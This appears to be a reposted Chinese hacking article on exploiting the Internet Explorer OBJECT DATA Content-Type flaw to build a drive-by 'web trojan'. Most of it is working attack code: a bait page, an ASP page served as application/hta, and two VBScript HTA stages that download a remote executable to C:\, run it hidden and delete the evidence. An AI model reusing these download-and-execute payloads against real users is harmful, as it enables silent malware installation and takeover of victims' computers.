网络通信 频道

利用IE Object Data漏洞实现之网页木马

 一、Internet Explorer Object Data Remote Execution Vulnerability
  
  利用Internet Explorer Object Data Remote Execution Vulnerability
  eEye Digital Security在8月20号公布了这个漏洞,该漏洞是由于HTML中的OBJECT的DATA标签引起的。对于DATA所标记的URL,IE会根据服务器返回的HTTP头中的Content-Type来处理数据,也就是说如果HTTP头中返回的是application/hta等。那么该文件就能够执行,而不管IE的安全级别多高。
  
  --------在木马种植页面中插入如下代码--------
  
  <%response.ContentType="application/hta"%> <object data="http://127.0.0.1/test.test";;;></object>
  
  然后更改服务器的MIME映射为扩展名.test对应application/hta
  -------------------------------
  这http://127.0.0.1/test.test内容的HTA页面就会被用户IE所执行。
  
  当然上面提到的再服务器端修改MIME映射,也可以直接适用ASP、JSP等动态脚本来实现相同功能。
  例如:可以直接使用如下代码:
  
  --------test.htm(木马种植页面)中插入如下代码--------
  <object data="http://127.0.0.1/test.asp";;;></object>
  -------------------------------
  
  --------test.asp(木马主页面)顶部写如下代码--------
  <%response.ContentType="application/hta"%>
  -------------------------------
  
  二、网页木马原理
  
  所谓网页木马,个人理解:就是当用户浏览某网页时,自动下载并运行某一“木马”程序,进而通过该程序实施控制。
  
  由于HTA具有本地用户权限,相当于一个APPLICATION,因此,我们就可以利用上面的漏洞来实现网页木马的基本功能。
  
  要实现网页木马功能,那么必须要解决木马的下载与运行问题,运行相信大家很容易就可以想到<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>,关键是木马的下载。
  
  文件的操作在HTA中主要可以通过fso和ADOSTREAM两个组件来实现,但是FSO比较适合操作文本文件,要实现操作二进制文件还得用到后面的这个ADOSTREAM组件,但是我们可以发现当一个在IE里面运行的HTA程序是有作用域限制的,因此无法使用ADOSTREAM来操作本地文件。所以我们必须要在本地运行一个HTA程序,而HTA正是文本文件,所以,我们只要通过FSO来操作生成一个本地的HTA,继而运行该HTA得到我们想要达到的目的。
  
  至于文件下载还会用到XMLHTTP这个组件,关于这个组件这里就不作介绍。
  
  从上面的分析,我们需要通过两个HTA来实现网页木马,一个是在IE中运行,进而尤其生成本地HTA,再通过本地HTA下载木马,并运行之。好,我们可以开工了!
  
  三、具体实现过程不作解释,代码如下:
  
  
  ------------test.htm(木马种植页面)中插入如下代码-------------------
  <html>

  <body>

  This is a Test!

  If success,,your Os will download a appliction and auto run it!

  Of course,Os must be 2k/xp/nt/2003..... and didn''t patch.

  <object data="http://127.0.0.1/test.asp";;;></object>

  </body>
  -------------------------------
  
  ------test.asp(木马主页面之一:生成本地HTA)顶部写如下代码------
  <%response.ContentType="application/hta"%>

  <html>

  <object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>

  <script language="VBScript">

  Function HttpDoGet(url)

  set oReq = CreateObject("Microsoft.XMLHTTP")

  oReq.open "GET",url,false

  oReq.send

  If oReq.status=200 then

  HttpDoGet=oReq.responseTEXT

  SaveFile HttpDoGet,"c:\win.hta" ''在C:根目录下生成HTA文件

  Set oReq=nothing

  End if

  End Function

  ''保存文本文件,生成本地HTA。

  sub SaveFile(str,fName)

  Dim fso, tf

  Set fso = CreateObject("Scripting.FileSystemObject")

  Set tf = fso.CreateTextFile(fName, True)

  tf.Write str

  tf.Close

  exewin()

  End sub

  ''运行函数

  Sub exewin()

  set wshshell=createobject ("wscript.shell" )

  a=wshshell.run ("cmd.exe /c c:\win.hta",0)

  window.close

  End Sub

  ''得到本地HTA文件

  HttpDoGet("http://127.0.0.1/ism.mm";;)

  </script>

  </html>
  -------------------------------
  
  
  ------ism.mm(木马主页面之二:本地HTA页面)顶部写如下代码------
  <html>

  <object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>

  <script language="VBScript">

  Function HttpDoGet(url)

  set oReq = CreateObject("Microsoft.XMLHTTP")

  oReq.open "GET",url,false

  oReq.send

  If oReq.status=200 then

  HttpDoGet=oReq.responseBody

  SaveFile HttpDoGet,"c:\win.exe" ''在C:根目录下生成exe文件

  End If

  Set oReq=nothing

  End Function

  ''保存二进制文件,在本地生成exe文件。

  sub SaveFile(str,fName)

  Set objStream = CreateObject("ADODB.Stream")

  objStream.Type = 1

  objStream.Open

  objstream.write str

  objstream.SaveToFile fName,2

  objstream.Close()

  set objstream = nothing

  exewin()

  End sub

  ''运行函数,执行已经下载的exe程序。

  Sub exewin()

  set wshshell=createobject ("wscript.shell" )

  a=wshshell.run ("cmd.exe /c c:\win.exe",0)

  b=wshshell.run ("cmd.exe /c del c:\win.hta",0)

  window.close

  End Sub

  ''得到远程木马程序

  HttpDoGet "http://127.0.0.1/win.exe";;

  </script>

  </html>

文章转载地址:http://www.cnpaf.net/Class/hack/06101110492169440114.html

0
相关文章